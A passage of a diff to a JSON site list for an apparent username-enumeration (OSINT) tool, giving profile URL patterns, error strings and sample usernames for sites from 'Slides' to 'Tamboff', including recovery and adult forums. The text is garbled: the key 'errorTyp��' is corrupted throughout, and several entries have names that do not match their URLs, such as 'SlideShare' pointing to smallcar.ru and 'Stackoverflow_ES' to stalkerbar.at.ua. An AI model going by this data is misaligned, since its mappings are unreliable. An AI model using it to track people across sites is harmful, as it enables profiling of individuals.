"🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://slides.com/{}", + "urlMain": "https://slides.com/", + "usernameON": "adam", + "bad_site": "" + }, + "SlideShare": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page no longer exists<", + "errorMsg2": "gen\">01.01.1970", + "errorTyp��": "message", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.smallcar.ru", + "usernameON": "lukey", + "bad_site": "" + }, + "Smart_lab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://smart-lab.ru/profile/{}/", + "urlMain": "https://smart-lab.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Smashcast": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.smashcast.tv/api/media/live/{}", + "urlMain": "https://www.smashcast.tv/", + "usernameON": "hello", + "bad_site": 1 + }, + "Smashrun": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://smashrun.com/{}/", + "urlMain": "https://smashrun.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smogon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.smogon.com/forums/members/?username={}", + "urlMain": "https://www.smogon.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Smolmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://smolmama.com", + "usernameON": "Kisma", + "bad_site": "" + }, + "Smugmug": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://{}.smugmug.com/", + "urlMain": "https://smugmug.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Smule": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Right tune, wrong note", + "errorMsg2": "Page Not Found", + "errorTyp��": "message", + "url": "https://www.smule.com/{}", + "urlMain": "https://www.smule.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Snapchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.snapchat.com/add/{}", + "urlMain": "https://www.snapchat.com", + "usernameON": "adam22hoe", + "bad_site": "" + }, + "Snbforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.snbforums.com/members/?username={}", + "urlMain": "https://www.snbforums.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Snowjapan": { + "country": "🇯🇵", + "country_klas": "JP", + "errorMsg": "Found 0 results", + "errorMsg2": "large ipsType_light'>There were no results for", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.snowjapan.com", + "usernameON": "nisoko", + "bad_site": "" + }, + "Soborno": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://soborno.ru", + "usernameON": "arinasha", + "bad_site": "" + }, + "Soc-life.": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://soc-life.com/index/8-0-{}", + "urlMain": "http://soc-life.com", + "usernameON": "Ilona54", + "bad_site": "" + }, + "Sochi_profi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sochi.profi.ru/profile/{}/", + "urlMain": "https://sochi.profi.ru", + "usernameON": "Irina", + "bad_site": "" + }, + "Social_librem": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://social.librem.one/@{}", + "urlMain": "https://social.librem.one", + "usernameON": "adam", + "bad_site": "" + }, + "Social_microsoft": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The resource you are looking for has been removed", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://social.microsoft.com/profile/{}", + "urlMain": "https://social.microsoft.com", + "usernameON": "shartbandiha", + "bad_site": 1 + }, + "Social_tchncs": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "https://social.tchncs.de/@{}", + "urlMain": "https://social.tchncs.de/", + "usernameON": "Milan", + "bad_site": "" + }, + "Socialblade": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://socialblade.com/youtube/user/{}", + "urlMain": "https://socialblade.com", + "usernameON": "fred", + "comments": "cf", + "bad_site": "" + }, + "Socioforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.socioforum.su", + "usernameON": "adam", + "bad_site": "" + }, + "Socionics": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "urlMain": "http://www.socionics.org", + "usernameON": "RWinner", + "comments": "bad", + "bad_site": 1 + }, + "Softboard": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "<p class='ipsType_large ipsType", + "errorTyp��": "message", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://softboard.ru", + "usernameON": "Rambler", + "bad_site": "" + }, + "SoftwareInformer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://users.software.informer.com/{}/", + "urlMain": "https://users.software.informer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Solaris-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Hyundai Solaris клуб Россия", + "errorTyp��": "message", + "url": "https://solaris-club.net/forum/member.php?username={}", + "urlMain": "https://solaris-club.net", + "usernameON": "adam", + "bad_site": "" + }, + "Solo": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://solo.to/{}", + "urlMain": "https://solo.to", + "usernameON": "red", + "bad_site": "" + }, + "Soloby": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "QT Media 404", + "errorMsg2": "Универ soloBY", + "errorTyp��": "message", + "url": "http://www.soloby.ru/user/{}", + "urlMain": "http://www.soloby.ru", + "usernameON": "red", + "comments": "bad", + "bad_site": 1 + }, + "Somersoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.somersoft.com/members/?username={}", + "urlMain": "https://www.somersoft.com", + "usernameON": "johnhenry", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "urlMain": "https://www.sony-club.ru", + "usernameON": "usman161rus", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Sony_stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Сайт закрыт", + "errorMsg2": "Форум Sony - Stratege.ru", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "urlMain": "https://sony.stratege.ru", + "usernameON": "kalpak", + "bad_site": "" + }, + "Sorento_kia-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://sorento.kia-club.ru/", + "usernameON": "king", + "bad_site": "" + }, + "Sotoguide": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://sotoguide.ru/users/{}/", + "urlMain": "https://sotoguide.ru", + "usernameON": "jura1987g", + "bad_site": 1 + }, + "SoundCloud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://soundcloud.com/{}", + "urlMain": "https://soundcloud.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Soundex": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://soundex.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Soundgym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "[а-яА-Я]", + "url": "https://www.soundgym.co/member/profile?m={}", + "urlMain": "https://www.soundgym.co", + "usernameON": "raydrcougso", + "bad_site": "" + }, + "Soup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://www.soup.io/author/{}", + "urlMain": "https://www.soup.io", + "usernameON": "cristina", + "bad_site": "" + }, + "SourceForge": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "error-page", + "errorTyp��": "message", + "url": "https://sourceforge.net/u/{}/profile/", + "urlMain": "https://sourceforge.net/", + "usernameON": "blue", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "TE": "trailers", + "Upgrade-Insecure-Requests": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Sourcewatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "urlMain": "https://www.sourcewatch.org", + "usernameON": "Rebekah_Wilce", + "bad_site": "" + }, + "Southklad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Форум кладоискателей - Юг Клад - Информация", + "errorTyp��": "message", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://southklad.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Soylentnews": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://soylentnews.org/~{}", + "urlMain": "https://soylentnews.org", + "usernameON": "adam", + "bad_site": "" + }, + "Sp-shopogoliki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sp-shopogoliki.ru", + "usernameON": "sima", + "bad_site": "" + }, + "Spaces": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spaces.im/mysite/index/{}/", + "urlMain": "https://spaces.im", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Spark": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://spark.ru/startup/{}", + "urlMain": "https://spark.ru", + "usernameON": "green", + "bad_site": "" + }, + "Spartak_msk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Вы не можете произвести поиск сразу", + "errorMsg2": "Информация", + "errorMsg3": "поиска: 0", + "errorTyp��": "message", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spartak.msk.ru", + "usernameON": "malyushenko", + "bad_site": "" + }, + "Spb-projects": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://spb-projects.ru", + "usernameON": "Deij", + "bad_site": "" + }, + "Speakerdeck": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "User Not Found", + "errorMsg2": "loige", + "errorTyp��": "message", + "url": "https://speakerdeck.com/{}", + "urlMain": "https://speakerdeck.com", + "usernameON": "adam", + "bad_site": "" + }, + "Speedrun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not found.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://speedrun.com/user/{}", + "urlMain": "https://speedrun.com/", + "usernameON": "3Tau", + "bad_site": "" + }, + "Spiceworks": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://community.spiceworks.com/people/{}", + "urlMain": "https://community.spiceworks.co", + "usernameON": "adam", + "bad_site": "" + }, + "Spinchat": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.spinchat.com/hp/{}/", + "urlMain": "https://www.spinchat.com", + "usernameON": "Adam", + "bad_site": "" + }, + "Splatoon_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://splatoonwiki.org/wiki/User:{}", + "urlMain": "https://splatoonwiki.org", + "usernameON": "Hewer", + "bad_site": "" + }, + "Spletenie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Страница не найдена", + "errorMsg2": "
", + "errorTyp��": "message", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "urlMain": "https://forum.sportbox.ru", + "usernameON": "Thedolphin", + "bad_site": "" + }, + "Sports": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "%20", + "errorMsg": "Ничего не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sports.ru/search/?query={}", + "urlMain": "https://www.sports.ru/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Sportsjournalists": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sportsjournalists.com/members/?username={}", + "urlMain": "https://www.sportsjournalists.com", + "usernameON": "outofplace", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SportsTracker": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\"code\":\"404\"", + "errorMsg2": "Not found", + "errorTyp��": "message", + "url": "https://www.sports-tracker.com/view_profile/{}", + "urlMain": "https://www.sports-tracker.com/", + "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Sportstracklive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.sportstracklive.com/en/user/{}", + "urlMain": "https://www.sportstracklive.com", + "usernameON": "PaddyLewtas", + "bad_site": "" + }, + "Spotify_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "\t\t0 results", + "errorMsg2": "No search results found", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "urlMain": "https://community.spotify.com", + "usernameON": "adam", + "bad_site": "" + }, + "Sprashivai_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "http://sprashivai.ru/{}?sl", + "urlMain": "http://sprashivai.ru", + "usernameON": "red", + "bad_site": 1 + }, + "Spursarmy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">Ошибка

", + "errorMsg2": "Профиль", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://spursarmy.com/profile/{}", + "urlMain": "https://spursarmy.com", + "usernameON": "Sloock", + "bad_site": "" + }, + "SPW": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.spw.ru/members/?username={}", + "urlMain": "https://forum.spw.ru", + "usernameON": "kato", + "ignore_status_code": true, + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "SQL": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "begin case_noresults", + "errorMsg3": "<TITLE>Òåõíè÷åñêîå Îáúÿâëåíèå", + "errorTyp��": "message", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "urlMain": "https://www.sql.ru", + "usernameON": "Birkhoff", + "comments": "bad", + "bad_site": 1 + }, + "Srclog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://srclog.com/{}", + "urlMain": "https://srclog.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ssb_wiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ssbwiki.com/User:{}", + "urlMain": "https://www.ssbwiki.com", + "usernameON": "NotBen", + "bad_site": "" + }, + "Stackexchange": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "urlMain": "https://unix.stackexchange.com", + "usernameON": "telcom", + "bad_site": "" + }, + "Stackoverflow": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "p>No users matched your search", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://stackoverflow.com/users/?search={}", + "urlMain": "https://stackoverflow.com", + "usernameON": "adam", + "bad_site": "" + }, + "Stackoverflow_ES": { + "country": "🇪🇸", + "country_klas": "ES", + "errorMsg": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "urlMain": "https://stalkerbar.at.ua", + "usernameON": "lordsfilmpw", + "bad_site": "" + }, + "Star-girl": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://star-girl.ru", + "usernameON": "Patricia", + "comments": "bad", + "bad_site": "" + }, + "Star_Citizen": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 -", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://steamcommunity.com/groups/{}", + "urlMain": "https://steamcommunity.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Steamid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Just a moment", + "errorMsg2": "Cloudflare", + "errorMsg3": "profile information", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://steamid.uk/profile/{}", + "urlMain": "https://steamid.uk/", + "comments": "cf", + "usernameON": "blue", + "bad_site": "" + }, + "Stereo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stereo.ru/user/{}", + "urlMain": "https://stereo.ru/", + "usernameON": "Yamiha", + "bad_site": "" + }, + "Sti-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://www.sti-club.su/member.php?username={}", + "urlMain": "http://www.sti-club.su", + "usernameON": "Viktor85", + "bad_site": 1 + }, + "Stihi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Автор не найден", + "errorMsg2": "Поиск авторов", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.stihi.ru/avtor/{}", + "urlMain": "https://www.stihi.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "Stop-narko_info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "urlMain": "http://stop-narko.info", + "usernameON": "Ergo", + "bad_site": "" + }, + "Stopgame": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://stopgame.ru/user/{}", + "urlMain": "https://stopgame.ru", + "usernameON": "Diml", + "bad_site": "" + }, + "Store_kde": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://store.kde.org/u/{}", + "urlMain": "https://store.kde.org", + "usernameON": "statman", + "bad_site": "" + }, + "Storycorps": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://archive.storycorps.org/user/{}/", + "urlMain": "https://archive.storycorps.org", + "usernameON": "adam", + "bad_site": "" + }, + "Stratege": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум - Stratege.ru", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.stratege.ru/forums/member.php?username={}", + "urlMain": "https://www.stratege.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Strava": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.strava.com/athletes/{}", + "urlMain": "https://www.strava.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Studfile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://studfile.net/users/{}/", + "urlMain": "https://studfile.net", + "usernameON": "adam", + "bad_site": "" + }, + "Stunited": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://stunited.org/profile/{}", + "urlMain": "http://stunited.org", + "usernameON": "mani-vel", + "bad_site": 1 + }, + "Subeta": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Invalid user", + "errorMsg2": "Error", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subeta.net/users/{}", + "urlMain": "https://subeta.net/", + "usernameON": "Brioche", + "comments": "cf", + "bad_site": "" + }, + "Subforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://subforums.net/members/?username={}", + "urlMain": "https://subforums.net", + "usernameON": "romator", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Substack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.substack.com/", + "urlMain": "https://substack.com/", + "usernameON": "irina", + "bad_site": "" + }, + "Sugoidesu": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://sugoidesu.net/members/?username={}", + "urlMain": "https://sugoidesu.net", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suicidegirls": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.suicidegirls.com/members/{}/", + "urlMain": "https://www.suicidegirls.com", + "usernameON": "dtimm87", + "bad_site": "" + }, + "Suomi24": { + "country": "🇫🇮", + "country_klas": "FI", + "errorTyp��": "status_code", + "url": "https://www.suomi24.fi/profiili/{}", + "urlMain": "https://www.suomi24.fi", + "usernameON": "Kilgore", + "bad_site": "" + }, + "Superuser": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No users matched your search.", + "errorMsg2": "s-empty-state bg-black-025", + "errorTyp��": "message", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "urlMain": "https://superuser.com", + "usernameON": "adam", + "bad_site": "" + }, + "Support_mozilla": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found | Mozilla", + "errorMsg2": "Sorry, we couldn't find the page you were looking for.", + "errorTyp��": "message", + "url": "https://support.mozilla.org/en-US/user/{}", + "urlMain": "https://support.mozilla.org", + "usernameON": "username", + "bad_site": "" + }, + "Suunto_Movescount_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "error=4&", + "errorMsg2": "<title>QT Media 404", + "errorTyp��": "message", + "url": "http://www.movescount.com/ru/members/{}", + "urlMain": "http://www.movescount.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "https://www.suunto.com/" + }, + "Suzuki-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://suzuki-club.ru/members/?username={}", + "urlMain": "https://suzuki-club.ru", + "usernameON": "riphkin", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Suzuri": { + "country": "🇯🇵", + "country_klas": "JP", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://suzuri.jp/{}", + "urlMain": "https://suzuri.jp", + "usernameON": "boss", + "bad_site": "" + }, + "Svidbook": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://www.svidbook.ru/user/{}/", + "urlMain": "https://www.svidbook.ru/", + "usernameON": "Moon", + "comments": "bad", + "bad_site": 1 + }, + "Sweethome3d": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": " Error", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "urlMain": "https://www.sweethome3d.com", + "usernameON": "empereur", + "bad_site": "" + }, + "Swimming_forum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://forumswimming.ru/index/8-0-{}", + "urlMain": "http://forumswimming.ru/", + "usernameON": "irina", + "bad_site": "" + }, + "Syberpussy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://syberpussy.com/members/?username={}", + "urlMain": "https://syberpussy.com", + "usernameON": "akira20m", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Syktforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "404Ошибка! - Форум Сыктывкар. Форум города Сыктывкар", + "errorTyp��": "message", + "url": "http://syktforum.ru/profile/{}", + "urlMain": "http://syktforum.ru", + "usernameON": "TonyT", + "bad_site": 1 + }, + "Syktyvkar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://syktyvkar-online.ru/profile/{}", + "urlMain": "http://syktyvkar-online.ru", + "usernameON": "vcaun53", + "bad_site": 1 + }, + "Sysadmins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Could not obtain user posts information", + "errorMsg2": "", + "errorTyp��": "message", + "errorMsg3": "
(Attention Required! | Cloudflare", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sythe.org/members/?username={}", + "urlMain": "https://www.sythe.org", + "usernameON": "rskingp", + "bad_site": "" + }, + "T_baidu": { + "country": "🇨🇳", + "country_klas": "CN", + "errorTyp��": "response_url", + "url": "https://tieba.baidu.com/home/main?un={}", + "urlMain": "https://tieba.baidu.com", + "usernameON": "irina", + "bad_site": "" + }, + "Tabun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tabun.everypony.ru/profile/{}/", + "urlMain": "https://tabun.everypony.ru", + "usernameON": "adam", + "bad_site": "" + }, + "TalkDrugabuse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://talk.drugabuse.com/members/?username={}", + "urlMain": "https://talk.drugabuse.com", + "usernameON": "adam", + "bad_site": 1, + "comments": "cf", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Talkingsober": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://talkingsober.com/u/{}/summary", + "urlMain": "https://talkingsober.com", + "usernameON": "carljr", + "bad_site": "" + }, + "Talkstats": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.talkstats.com/members/?username={}", + "urlMain": "https://www.talkstats.com", + "usernameON": "johnlee", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Tamboff": { + "country": "🇷🇺", + "country_klas": "RU", + 